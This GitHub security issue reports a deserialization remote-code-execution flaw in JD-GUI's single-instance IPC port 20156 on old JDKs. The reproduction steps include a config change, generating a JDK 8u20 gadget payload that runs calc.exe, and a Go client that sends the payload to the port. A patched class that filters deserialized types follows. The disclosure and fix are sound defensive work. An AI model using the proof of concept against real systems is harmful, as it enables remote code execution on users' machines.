java-decompiler / jd-gui

A standalone Java Decompiler GUI
GNU General Public License v3.0
13.97k stars 2.38k forks source link

[Security] RCE Vulnerability in JD-GUI #415

Closed 4ra1n closed 1 year ago

4ra1n commented 1 year ago

RCE Vulnerability in JD-GUI

Description: When user open UIMainWindowPreferencesProvider.singleInstance config and use JDK 8u20/7u21, there will be an RCE vulnerability through deserialization on port 20156.

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H (Moderate 6.6)

How to reproduce:

(1) Use single instance config in jd-gui.cfg

<preferences>
<JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor>
<JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion>
<UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance>
</preferences>

(2) Start jd-gui using JDK 8u20

"C:\Program Files\Java\jdk1.8.0_20\bin\java.exe" -jar jd-gui-1.6.6.jar

(3) Make JDK 8u20 payload

https://github.com/pwntester/JRE8u20_RCE_Gadget

Modify the cmd in ExploitGenerator#main

String command = "calc.exe";

Run ExploitGenerator#main to generate payload (exploit.ser)

(4) Send binary data to 20156 port

package main

import (
    "fmt"
    "net"
    "os"
)

func main() {
    payload, _ := os.ReadFile("exploit.ser")
    conn, err := net.Dial("tcp", "127.0.0.1:20156")
    _, err = conn.Write(payload)
    buf := make([]byte, 1024*10)
    _, err = conn.Read(buf)
    if err != nil {
        fmt.Println(err)
    }
}

(5) RCE

Screenshot:

image

(6) Fix

Use resolveClass method, only support String[]

/*
 * Copyright (c) 2008-2019 Emmanuel Dupuy.
 * This project is distributed under the GPLv3 license.
 * This is a Copyleft license that gives the user the right to use,
 * copy and modify the code freely for non-commercial purposes.
 */

package org.jd.gui.util.net;

import org.jd.gui.util.exception.ExceptionUtil;

import java.io.*;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.function.Consumer;

public class InterProcessCommunicationUtil {

    static class FilterObjectInputStream extends ObjectInputStream {

        public FilterObjectInputStream(InputStream in) throws IOException {
            super(in);
        }

        @Override
        protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
            if (classDesc.getName().equals("[Ljava.lang.String;")) {
                return super.resolveClass(classDesc);
            }
            throw new RuntimeException(String.format("not support class: %s",classDesc.getName()));
        }
    }

    protected static final int PORT = 2015_6;

    public static void listen(final Consumer<String[]> consumer) throws Exception {
        final ServerSocket listener = new ServerSocket(PORT);

        Runnable runnable = new Runnable() {
            @Override
            public void run() {
                while (true) {
                    try (Socket socket = listener.accept();
                         ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream())) {
                        // Receive args from another JD-GUI instance
                        String[] args = (String[])ois.readObject();
                        consumer.accept(args);
                    } catch (IOException|ClassNotFoundException e) {
                        assert ExceptionUtil.printStackTrace(e);
                    }
                }
            }
        };

        new Thread(runnable).start();
    }

    public static void send(String[] args) {
        try (Socket socket = new Socket(InetAddress.getLocalHost(), PORT);
             ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream())) {
            // Send args to the main JD-GUI instance
            oos.writeObject(args);
        } catch (IOException e) {
            assert ExceptionUtil.printStackTrace(e);
        }
    }
}

Screenshot:

image

4ra1n commented 1 year ago

417